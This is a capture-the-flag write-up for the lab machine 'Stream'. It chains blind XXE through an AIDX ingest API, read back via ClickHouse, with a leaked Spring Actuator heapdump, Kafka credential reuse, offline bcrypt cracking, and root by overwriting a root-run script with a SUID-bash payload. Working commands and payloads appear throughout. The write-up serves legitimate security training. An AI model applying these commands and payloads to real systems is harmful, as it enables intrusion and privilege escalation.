HTB Season 12 — Stream (Medium, Linux)

Target: `api.htb-airport.htb` (10.129.86.252)

Recon

Started with masscan for a fast full-range port sweep, then nmap for service/version detection on what masscan flagged. Four ports came back:

Port	Service
22	SSH
80	nginx
8081	uvicorn (FastAPI)
37897	unknown, binary protocol, no banner nmap could identify

The nmap scan also returned a hostname, `api.htb-airport.htb`, which went into `/etc/hosts` right away. Several things later turned out to be vhost-gated and would have been invisible hitting the bare IP.

With SSH out of reach without creds, the two HTTP services (80, 8081) are the only places to start. Port 37897 gets parked for later: no point guessing at a binary protocol before there's a reason to care about it.

Port 80: a thin JSON API

Port 80 returns a JSON banner identifying itself as `terminal-edge-gateway`. It only exposes `/health` and `/status`, both unauthenticated health-check endpoints with nothing exploitable in them directly. A directory fuzz with a standard wordlist came up empty here. The interesting path on this port (see below) needed a bigger wordlist and the right vhost, found later.

Port 8081: an ingest API that admits it doesn't parse

Port 8081 runs a FastAPI service with a self-documented AIDX ingest endpoint. AIDX is an aviation-industry XML message format for flight data. It accepts `POST /feeds/aidx` with an XML body, and the embedded API docs contain this line:

> *"Ingest does not parse. Full validation happens downstream."*

That's a tell. This service accepts the XML and forwards it somewhere else to be parsed. The question then is whether that downstream parser resolves external entities. A service that explicitly disclaims parsing is pointing at an XXE candidate behind it.

Testing for XXE

Built a minimal AIDX XML document with an external entity pointing at `/etc/passwd` and posted it:

```
curl -s -X POST http://api.htb-airport.htb:8081/feeds/aidx \
  -H "Content-Type: application/xml" \
  -d @xxe_9001.xml
```

Response:

```
{"accepted":true,"topic":"aidx.flightleg.raw.v1"}
```

No reflected content. The API just acknowledges acceptance and names a Kafka-style topic (`aidx.flightleg.raw.v1`) the message was queued under. Second tell: this isn't a synchronous parse, it's an async pipeline. If the XXE fires, the result won't come back on this HTTP response, it'll land wherever the pipeline writes its output. Blind XXE, so the problem changes from "does it work" to "where do I look."

Tried an out-of-band version too: external DTD, callback to a locally-run HTTP listener. Nothing came in. Could mean no outbound access from the parser, could mean nothing. Rather than keep guessing at OOB, better to go find the pipeline's actual output. Back to port 80.

Finding the output: Spring Boot Actuator and an exposed heapdump

Re-fuzzing port 80 with a larger wordlist (the earlier, smaller one had missed it) turned up `/actuator`, a Spring Boot Actuator management endpoint. Actuator endpoints are a known soft spot: exposed without authentication, they can leak environment variables, config, mappings, or a full heap dump. Checking `/actuator/heapdump` confirmed it was exposed and downloadable with no auth:

```
curl -s http://api.htb-airport.htb/actuator/heapdump -o heapdump.hprof
```

A heap dump is a raw memory snapshot of the running JVM. Any string the application ever held in memory, config values, connection strings, cached credentials, can still be in there. Rather than parse the `.hprof` format properly, a blunt `strings`-style scan over the ~80MB file was enough to find a connection string:

```
svc_events:<REDACTED>
```

Labeled in the surrounding strings as H2 database credentials. Tried them against SSH on the chance of reuse, no luck. Kept them anyway, next step was figuring out what they actually unlock.

Vhost fuzzing surfaces ClickHouse, and confirms the XXE fired

The hostname `api.htb-airport.htb` had already been needed just to see real content on port 80, so the natural next move was to vhost-fuzz for siblings rather than assume the surface was fully mapped. `ffuf` against the `Host` header found `db.htb-airport.htb`, which resolves through nginx to an HTTP interface on port 8123, ClickHouse's native HTTP query endpoint.

ClickHouse is a column-oriented analytics database often used as a sink for streaming/event pipelines, which lines up with what the AIDX topic name implied. The heapdump credentials, found but unplaced until now, were tried here and worked:

```
curl -s "http://db.htb-airport.htb" \
  -u 'svc_events:<REDACTED>' \
  -d "SELECT name FROM system.tables WHERE database='partner_feed'"
```

Listing tables in `partner_feed` revealed `flightleg_json`. Querying it for the XXE marker submitted earlier (flight number `9001`) returned the AIDX record, and the `airline` field (`AirlineDesignator` in the schema), which should hold a short airline code, instead held the full contents of `/etc/passwd`.

That confirms the chain: the ingest API hands its XML to a downstream parser that resolves external entities, and whatever that parser extracts ends up in ClickHouse. The XXE is real. Blind on the HTTP response, but ClickHouse works as the out-of-band read channel.

Building an arbitrary file-read primitive

With a confirmed read/write loop, the one-off PoC turned into a repeatable technique:

1. Craft an XXE payload pointing the external entity at the target file path.
2. Submit it to `POST /feeds/aidx` tagged with a fresh, unique `FlightNumber`, so each read can be told apart from the others sitting in the table.
3. Wait a few seconds for the async parser/consumer to process the message.
4. Query ClickHouse for that flight number and read the file contents back out of the `airline` field.

```
curl -s "http://db.htb-airport.htb" \
  -u 'svc_events:<REDACTED>' \
  -d "SELECT airline FROM partner_feed.flightleg_json WHERE flight_number='9001'"
```

This is a blind-XXE-to-arbitrary-file-read oracle, with ClickHouse standing in for the out-of-band channel that a direct network callback couldn't provide. Running it against `/etc/passwd` listed the real, non-system accounts on the box: `svc-infra` (uid 1000) and `martin_cole` (uid 1001), the two usernames to chase for lateral movement and the user flag.

Mapping the backend: systemd units

Rather than guess at the internal architecture, the same file-read primitive was pointed at systemd unit files under `/etc/systemd/system/`, to read out exactly how each service is wired. This is the same question an attacker with a foothold would normally answer with `systemctl list-units`, here answered entirely pre-auth. The mapping explained everything seen so far and surfaced one new lead:

- `aidx-ingest.service`: the FastAPI app on 8081. `ProtectHome=true`.
- `aidx-parser.service`: the downstream XML consumer, confirming the pipeline theory. A Python worker that parses AIDX XML with `lxml`, configured with `load_dtd=True, resolve_entities=True, no_network=False`. That's the exact lxml misconfiguration that makes XXE possible: DTD loading and entity resolution enabled, with no restriction on network access either. Also `ProtectHome=true`.
- `kafka.service`: explains port 37897 from the initial nmap scan. It's Kafka, running as `svc-infra`.
- `terminal-api.service`: the Spring Boot app on port 80 (the one with the exposed Actuator heapdump). No `ProtectHome` set, a hardening gap, though not one needed for this path since root was reached a different way.
- `aidx-dlq-drainer.service`: runs as root, `Type=oneshot`, fired every 2 minutes by a systemd timer. A root-owned scheduled job that touches a specific file is a strong signal for a later privilege-escalation target.

Having identified `aidx-parser.service` as the vulnerable component by name, pulled its source (`parser_worker.py`, `aidx_common.py`) through the same file-read primitive to confirm the `lxml.XMLParser(...)` call directly. That turns "the systemd flag implies XXE" into "the source code proves XXE."

Tried extending the primitive to grab SSH private keys for `svc-infra` and `martin_cole` under `/home/*/.ssh/`, but `ProtectHome=true` on the parser's systemd unit sandboxes it away from `/home` entirely. Dead end for that target, so the hunt moved to configuration files instead, which aren't covered by that directive.

From Kafka config to a shell as svc-infra

`kafka.service` had already been identified, so Kafka's install path was known, and the next logical read was its broker configuration rather than guessing randomly. `server.properties` under `/opt/kafka_2.13-4.3.1/config/` held SASL authentication credentials in plaintext:

```
user_svc_infra="<REDACTED>"
```

The username pattern (`user_svc_infra`) matches the account that owns the Kafka process according to the systemd unit, exactly the kind of same-box credential reuse worth testing against SSH directly:

```
ssh svc-infra@api.htb-airport.htb   # password: <REDACTED>
```

It worked. `fail2ban` is active on this host, so failed SSH attempts were kept deliberate and spaced out rather than brute-forced. A ban here costs 2 to 5 minutes for no benefit.

Lateral movement: svc-infra to martin_cole

`user.txt` lives in `/home/martin_cole/`, but that directory is mode 750 and owned by Martin, so `svc-infra` can't read into it directly. Standard local privesc checks as `svc-infra` (sudo rights, SUID binaries, writable files in shared groups) turned up nothing.

What `svc-infra` does have is the Kafka SASL credentials just used for SSH, and those same credentials work against the Kafka broker itself, now from inside the box with a real shell instead of through the ingest API. Since Kafka had already been flagged during the systemd read as worth revisiting, the next move was listing topics that weren't visible from outside:

```
kafka-topics.sh --bootstrap-server localhost:9094 \
  --command-config /opt/kafka_2.13-4.3.1/config/client.properties --list
```

One topic doesn't fit the flight-data theme: `aidx.identity.json.v1`. A topic named "identity" in a system otherwise about flight legs is worth consuming right away:

```
kafka-console-consumer.sh --bootstrap-server localhost:9094 \
  --consumer.config /opt/kafka_2.13-4.3.1/config/client.properties \
  --topic aidx.identity.json.v1 --from-beginning --max-messages 50
```

Two records came back: `deborah.hernandez` with a plaintext password, and `martin_cole` with a bcrypt hash. Deborah's plaintext password was tried against Martin's account first, a cheap check with no cracking needed, and it didn't match, ruling out simple reuse between those two accounts. That left cracking Martin's hash offline:

```
echo '<REDACTED bcrypt hash>' > martin_bcrypt.txt
john --format=bcrypt --wordlist=rockyou.txt martin_bcrypt.txt
```

rockyou was enough. The hash cracked to **`<REDACTED>`**:

```
ssh martin_cole@api.htb-airport.htb   # password: <REDACTED>
```

user.txt: `<REDACTED>`

Privilege escalation: martin_cole to root

The usual quick checks as `martin_cole`, `sudo -l`, SUID binaries, crontab, all came back empty. No obvious local privesc vector, so the next place to look was what's unique to this user rather than generic Linux privesc checklists: Martin's own home directory.

A backup repository reusing Martin's own password

`~/backups/` contains a Kopia repository. Kopia is an encrypted backup tool, and an encrypted repo sitting in a user's home is worth testing password reuse against, starting with the password already known for that same user:

```
kopia repository connect filesystem --path ~/backups --password <REDACTED>
kopia snapshot list
```

It unlocked. Martin reused his SSH password for his own backup repo. The repo held a snapshot of `/home/martin_cole/ch-logs`, ClickHouse logs, which mattered immediately since ClickHouse had already surfaced as the database behind the AIDX pipeline. Restoring the snapshot and reading through the error log paid off: a malformed `ALTER USER` statement, broken by an unescaped quote in the password itself, had been logged verbatim by ClickHouse's query logger:

```
ALTER USER default IDENTIFIED BY '<REDACTED> ;)
```

That's an operational mistake, a password containing a character that broke SQL quoting, then logged in cleartext, rather than a deliberate secret. But it hands over the ClickHouse `default` superuser's password: **`<REDACTED>`**.

```
curl -s "http://localhost:8123" -u "default:<REDACTED>" -d "SELECT currentUser()"
```

Turning ClickHouse admin access into root

This is where the root-owned timer from the systemd mapping becomes relevant again. `aidx-dlq-drainer.service` runs as root every 2 minutes and executes `/var/lib/clickhouse/user_files/aidx_quarantine.py`. `user_files` is ClickHouse's own sandboxed directory for file-based table functions, and the `default` user, now with full admin rights, can write into it directly using ClickHouse's `file()` table function as an INSERT target. If the file root executes can be overwritten through the database it runs under, that's code execution as root without needing a separate file-write bug.

`engine_file_truncate_on_insert=1` has to be passed as a query parameter, otherwise ClickHouse appends to the existing file instead of replacing it. Appending would corrupt the script rather than hijack it:

```
printf 'import os,sys\nos.system("cp /bin/bash /tmp/rootbash && chmod u+s
/tmp/rootbash")\nraw=sys.stdin.buffer.read()\nprint(f"{len(raw)}\\tPWN\\tpwned")' | \
curl -s "http://localhost:8123/?
engine_file_truncate_on_insert=1&query=INSERT+INTO+FUNCTION+file('aidx_quarantine.py',+'R
awBLOB')+FORMAT+RawBLOB" \
  -u "default:<REDACTED>" --data-binary @-
```

The replacement script keeps the original's stdin-read/print contract, so the drainer's own logging doesn't choke, and adds a payload that copies `/bin/bash` to `/tmp/rootbash` and sets the SUID bit.

Overwriting the file is necessary but not sufficient. The drainer only touches `aidx_quarantine.py` when it has a message to quarantine, i.e. when something lands in the dead-letter queue. The AIDX pipeline already has a documented failure path for that: feed it XML the parser can't finish parsing, and it gets DLQ'd instead of processed. Submitted deliberately truncated, broken XML to trigger exactly that:

```
curl -X POST http://localhost:8081/feeds/aidx -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><IATA_AIDX_FlightLegNotifRQ><Originator
CompanyShortName="XX"/><FlightLeg><LegIdentifier><Airline>XX</Airline>
<FlightNumber>8888</FlightNumber><DepartureAirport>XXX</DepartureAirport>
<ArrivalAirport>YYY</ArrivalAirport><OriginDate>2026-01-01</OriginDate></LegIdentifier>
</FlightLeg><BROKEN'
```

Waited out the drainer's 2-minute timer interval. On its next run it picked up the DLQ'd message, executed the hijacked `aidx_quarantine.py` as root, and dropped a SUID root shell:

```
/tmp/rootbash -p -c "cat /root/root.txt"
```

root.txt: `<REDACTED>`

Attack chain summary

1. Recon on ports 80, 8081, 8123 and 37897, behind the right vhosts, found an AIDX ingest API whose own documentation admits it doesn't parse its input, pointing at a downstream XML parser.
2. Blind XXE against that downstream `lxml` parser (`load_dtd=True, resolve_entities=True`) was confirmed indirectly, by finding its output sink.
3. An exposed Spring Boot Actuator heapdump leaked DB credentials that, via vhost fuzzing, unlocked a ClickHouse instance acting as that sink, giving the XXE a readable out-of-band channel and upgrading it to arbitrary file read.
4. Reading systemd units and source files through that primitive mapped the backend and named the root-owned `aidx-dlq-drainer` timer as a future privesc target.
5. Reading Kafka's own config leaked SASL creds, which doubled as `svc-infra`'s SSH password.
6. From `svc-infra`, reading an internal Kafka topic (`aidx.identity.json.v1`) leaked `martin_cole`'s bcrypt hash, cracked with rockyou for `user.txt`.

7. Password reuse unlocked a Kopia backup repo in Martin's home; a restored ClickHouse log leaked the `default` superuser's password through its own malformed-query logging.
8. ClickHouse admin access overwrote the script the root-owned DLQ drainer executes, and a deliberately malformed AIDX submission triggered the DLQ path to fire it, for `root.txt`.